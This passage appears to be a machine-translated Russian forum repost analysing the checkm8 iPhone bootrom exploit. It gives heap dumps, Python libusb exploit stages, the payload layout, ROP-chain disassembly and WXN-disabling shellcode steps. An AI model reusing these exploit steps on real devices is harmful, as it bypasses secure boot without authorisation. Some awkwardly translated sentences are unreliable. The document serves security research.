    00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................
    chunk at 0x94c0
    0x180 non-free 0x80 0
    00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..C.P.I.D.:.8.0.
    00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .C.P.R.V.:.
    00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .C.P.F.M.:.
    00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .S.C.E.P.:.
    00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .B.D.I.D.:.
    00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .E.C.I.D.:.
    00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6.
    00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6.
    00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .I.B.F.L.:.3.C.
    00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .S.R.T.G.:.[.i.
    000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 B.o.o.t.-.2.6.9.
    000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1...
    chunk at 0x9640 // zlps[1]
    0x80 non-free 0x180 0
    00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................
    00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................
    chunk at 0x96c0 // descs[0], Nonce
    0x140 non-free 0x80 0
    00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .N.O.N.C.:.5.
    00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.C.A.9.7.A.
    00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 F.E.6.0.6.C.9.A.
    00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7.
    00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 C.F.3.5.0.F.B.6.
    00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.C.A.A.D.0.
    00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A.
    00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.B.C.8.D.2.
    00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. .
    00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 S.N.O.N.:.B.B.A.
    000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5.
    000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2.
    chunk at 0x9800 // descs[1], Manufacturer
    0x80 non-free 0x140 0
    00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..A.p.p.l.e. .I.
    00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF n.c.............
    00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................
    00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................
    chunk at 0x9880 // descs[2], Product
    0x80 non-free 0x80 0
    00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.A.p.p.l.e. .M.
    00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 o.b.i.l.e. .D.e.
    00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 v.i.c.e. .(.D.F.
    00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .M.o.d.e.)...
    chunk at 0x9900 // descs[3], Serial number
    0x140 non-free 0x80 0
    00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..C.P.I.D.:.8.0.
    00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .C.P.R.V.:.
    00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .C.P.F.M.:.
    00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .S.C.E.P.:.
    00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .B.D.I.D.:.
    00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .E.C.I.D.:.
    00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6.
    00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6.
    00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .I.B.F.L.:.3.C.
    00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .S.R.T.G.:.[.i.
    000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 B.o.o.t.-.2.6.9.
    000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1...
    chunk at 0x9a40 // zlps[0]
    0x80 non-free 0x140 0
    00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................
    00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@.......
    00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................
    chunk at 0x9ac0
    0x46540 free 0x80 0
    00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................
    00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................
    00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................
    00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    Переполнение конфигурации дескрипторов High Speed и Full Speed также может дать интересный результат. Эти дескрипторы расположены сразу после буфера I0. Дескриптор конфигурации имеет одно поле, отвечающее за его общую длину. Это переполнение поля позволяет нам читать за дескриптором. Вы можете попробовать это через модификацию эксплойта.

    Распределение и освобождение буфера ввода-вывода без очистки общего состояния
    device = dfu.acquire_device()
    device.serial_number
    libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
    libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
    dfu.release_device(device)
    На этом этапе создается неполный OUT-запрос на загрузку изображения. Инициализация глобального состояния и запись адреса буфера в запись кучи в io_buffer происходит одновременно. После этого DFU сбрасывается с помощью запроса DFU_CLR_STATUS и начинается новая итерация DFU.

    Перезапись Usb_device_io_request в куче с использованием после освобождения
    device = dfu.acquire_device()
    device.serial_number
    stall(device)
    leak(device)
    leak(device)
    libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50)
    На этом этапе происходит выделение объекта типа usb_device_io_request в куче вместе с его переполнением t8010_overwrite. Его содержание было определено на первом этапе.

    Значения t8010_nop_gadget и 0x1800B0800 должны переполнять колбэк и следующие поля структуры usb_device_io_request.

    Ниже вы можете увидеть t8010_nop_gadget. Это соответствует своему названию. Однако предыдущий регистр LR восстанавливается, кроме функции return. Это причина, по которой бесплатный вызов пропускается после функции обратного вызова в usb_core_complete_endpoint_io. Это очень важно, поскольку метаданные кучи повреждены из-за переполнения. В свою очередь, это влияет на эксплойт в ответ на попытку освобождения.

    bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr
    bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20
    bootrom:000000010000CC74 RET
    Далее указывает на INSECURE_MEMORY + 0x800. После этого полезная нагрузка эксплойта будет восстановлена с помощью INSECURE_MEMORY. Цепочка обратного вызова будет иметь смещение 0x800 в полезной нагрузке. Этот вопрос будет обсуждаться ниже.

    Размещение полезной нагрузки.
    for i in range(0, len(payload), 0x800):
    libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
    payload[i:i+0x800], 50)
    На этом этапе каждый следующий пакет будет помещен в область памяти, выделенную для изображения. Вот как выглядит полезная нагрузка:

    0x1800B0000: t8010_shellcode # initializing shell-code
    ...
    0x1800B0180: t8010_handler # new usb request handler
    ...
    0x1800B0400: 0x1000006a5 # fake translation table descriptor
    # corresponds to SecureROM (0x100000000 -> 0x100000000)
    # matches the value in the original translation table
    ...
    0x1800B0600: 0x60000180000625 # fake translation table descriptor
    # corresponds to SecureRAM (0x180000000 -> 0x180000000)
    # matches the value in the original translation table
    0x1800B0608: 0x1800006a5 # fake translation table descriptor
    # new value translates 0x182000000 into 0x180000000
    # plus, in this descriptor,there are rights for code execution
    0x1800B0610: disabe_wxn_arm64 # code for disabling WXN
    0x1800B0800: usb_rop_callbacks # callback-chain
    Выполнение Callback-цепочки.
    dfu.usb_reset(device)
    dfu.release_device(device)
    После сброса USB цикл отмены не завершает usb_device_io_request в списке ожидания, просматривая начатый связанный список. В то время как предыдущий этап, остальная часть списка ожидания была заменена. Это дает нам контроль над цепью обратного вызова. Это инструмент, который мы использовали для создания этой цепочки:

    bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address
    bootrom:000000010000CC50 LSL W2, W2, W9
    bootrom:000000010000CC54 MOV X0, X8 ; arg0
    bootrom:000000010000CC58 BLR X10 ; call
    bootrom:000000010000CC5C CMP W0, #0
    bootrom:000000010000CC60 CSEL W0, W0, W19, LT
    bootrom:000000010000CC64 B loc_10000CC6C
    bootrom:000000010000CC68 ; ---------------------------------------------------------------------------
    bootrom:000000010000CC68
    bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j
    bootrom:000000010000CC68 MOV W0, #0
    bootrom:000000010000CC6C
    bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j
    bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0]
    bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20
    bootrom:000000010000CC74 RET
    Очевидно, что адрес вызова вместе с его первым аргументом загружается со смещением 0x70 от указателя на структуру. Этот инструмент позволяет легко выполнить любой вызов типа f (x) для f и x.

    Unicorn Engine способен эмулировать всю цепочку вызовов. Это то, что мы сделали с нашей модифицированной версией плагина uEmu.

    [​IMG]
    Ниже вы можете найти всю цепочку результатов для iPhone 7.

    dc_civac 0x1800B0600
    000000010000046C: SYS #3, c7, c14, #1, X0
    0000000100000470: RET
    Очистка кеша процессора и аннулирование по виртуальному адресу. Таким образом, адрес процессора станет нашей полезной нагрузкой в будущем.

    DMB
    0000000100000478: DMB SY
    000000010000047C: RET
    Барьер памяти, гарантирующий завершение всех операций, связанных с памятью, должен быть выполнен до этой инструкции. В целях оптимизации, если мы имеем дело с высокопроизводительными процессорами, инструкции могут выполняться в порядке, отличном от запрограммированного.

    enter_critical_section ()
    Прерывания маскируются для быстрого выполнения дальнейших операций.

    write_ttbr0 (0x1800B0000)
    00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1))
    00000001000003E8: ISB
    00000001000003EC: RET
    Новое значение регистра таблицы TTBR0_EL1 установлено в 0x1800B0000. Это адрес НЕПРАВИЛЬНОЙ ПАМЯТИ, где хранится полезная нагрузка эксплойта. Как вы уже знаете, определенные смещения полезной нагрузки - это расположение дескрипторов перевода.

    ...
    0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx)
    ...
    0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw)
    0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx)
    ...
    tlbi
    0000000100000434: DSB SY
    0000000100000438: SYS #0, c8, c7, #0
    000000010000043C: DSB SY
    0000000100000440: ISB
    0000000100000444: RET
    Таблица перевода стала недействительной, чтобы сделать возможным перевод адресов в соответствии с нашей новой таблицей перевода.

    0x1820B0610 - disable_wxn_arm64
    MOV X1, #0x180000000
    ADD X2, X1, #0xA0000
    ADD X1, X1, #0x625
    STR X1, [X2,#0x600]
    DMB SY
    MOV X0, #0x100D
    MSR SCTLR_EL1, X0
    DSB SY
    ISB
    RET
    WXN (разрешение на запись подразумевает выполнение-никогда) отключено, что позволяет выполнять код в памяти RW. Модифицированная таблица перевода позволяет WXN отключить выполнение кода.

    write_ttbr0 (0x1800A0000)
    00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1))
    00000001000003E8: ISB
    00000001000003EC: RET
    Исходное значение регистра перевода TTBR0_EL1 восстанавливается. Это необходимо сделать для обеспечения правильной работы BootROM, в то время как трансляция виртуальных адресов, поскольку данные, хранящиеся в INSECURE_MEMORY, будут перезаписаны.

    tlbi
    Сброс еще одной таблицы перевода.

    exit_critical_section ()
    Обработка прерываний возвращается к нормальной жизни.

    0x1800B0000
    Управление передается инициализирующему шеллкоду.

    Таким образом, основной задачей callback-цепочки является отключение WXN и управление передачей шелл-кода в RW-память.

    Выполнение шеллкода
    Код оболочки находится в src / checkm8_arm64.S, и его функции описаны ниже:

    Перезапись дескрипторов конфигурации USB
    Два указателя на дескрипторы конфигурации: usb_core_hs_configuration_descriptor и usb_core_fs_configuration_descriptor, расположенные в куче, хранятся в глобальной памяти. Эти дескрипторы были повреждены на третьем этапе. Они имеют решающее значение для правильного взаимодействия с USB-устройством. Поэтому шеллкод восстанавливает их.

    Изменение серийного номера USB
    Новый дескриптор строки, содержащий серийный номер, имеет подстроку «PWND: [checkm8]», созданную при создании строки. Это означает, что мы можем сказать, что эксплойт был успешно завершен.

    Перезапись указателя обработчика USB-запроса
    Исходные запросы USB на указатель обработчика интерфейса перезаписываются указателем нового обработчика. Новый указатель будет помещен в память во время следующего шага.

    Копирование USB-запроса в область памяти TRAMPOLINE (0x1800AFC00)
    Новый обработчик сравнивает значение wValue запроса с 0xffff при получении запроса USB. Если они оказываются не равными, элемент управления возвращается исходному обработчику. Если они равны, различные команды могут выполняться в новых обработчиках, таких как memcpy, memset и exec (вызов произвольного адреса с набором произвольных аргументов).

    Итак, анализ эксплойтов завершен.

    Выполнение эксплойта на более низком уровне работы с USB
    У нас есть бонус для вас. Подтверждение концепции выполнения checkm8 было опубликовано на Arduino со щитом USB Host в качестве примера атаки на более низком уровне. PoC совместим только с iPhone 7. Однако его можно легко перенести на другие устройства. Все действия, описанные в этой статье, могут быть выполнены, когда iPhone 7 в режиме DFU подключен к USB Host Shield. Устройство также перейдет в режим PWND: [checkm8]. После этого вы можете подключить его к ПК через USB и работать с ним с помощью ipwndfu (вы должны использовать крипто-ключи для сброса памяти). Этот подход более стабилен по сравнению с асинхронными запросами с минимальным временем ожидания при работе с самим контроллером USB. Мы использовали библиотеку USB_Host_Shield_2.0 . Это требует минимальных корректировок. Файл патча также является хранилищем.

    Выход
    Анализ Checkm8 был сложным и интересным одновременно. Мы надеемся, что эта статья будет полезна для сообщества. Мы также надеемся, что это будет способствовать новым исследованиям в этой области. Уязвимость будет продолжать влиять на сообщество джейлбрейков. Checkra1n, джейлбрейк на основе chekm8, уже создан. Учитывая, что эту уязвимость нельзя устранить, джейлбрейк будет работать для уязвимых чипов (A5 - A11) с любой версией iOS. Многие уязвимые устройства, такие как iWatch, Apple TV и т. Д., Являются еще одним преимуществом. Мы прогнозируем более интересные проекты для устройств Apple.

    Эта уязвимость также повлияет на другие исследования устройств Apple, помимо джейлбрейка. Что уже можно сделать с помощью checkm8: загрузка устройств iOS в подробном режиме, создание дампа SecureROM или использование ключа GID для расшифровки образов прошивок. Но самое интересное приложение, разработанное для этого эксплойта, войдет в режим отладки на уязвимых устройствах через специальный кабель JTAG / SWD. До этого единственным способом сделать это было использование специальных прототипов, которые очень трудно получить, или через специальные сервисы. Хорошей новостью является то, что исследования Apple становятся намного дешевле и проще благодаря checkm8.
     
    Izilda нравится это.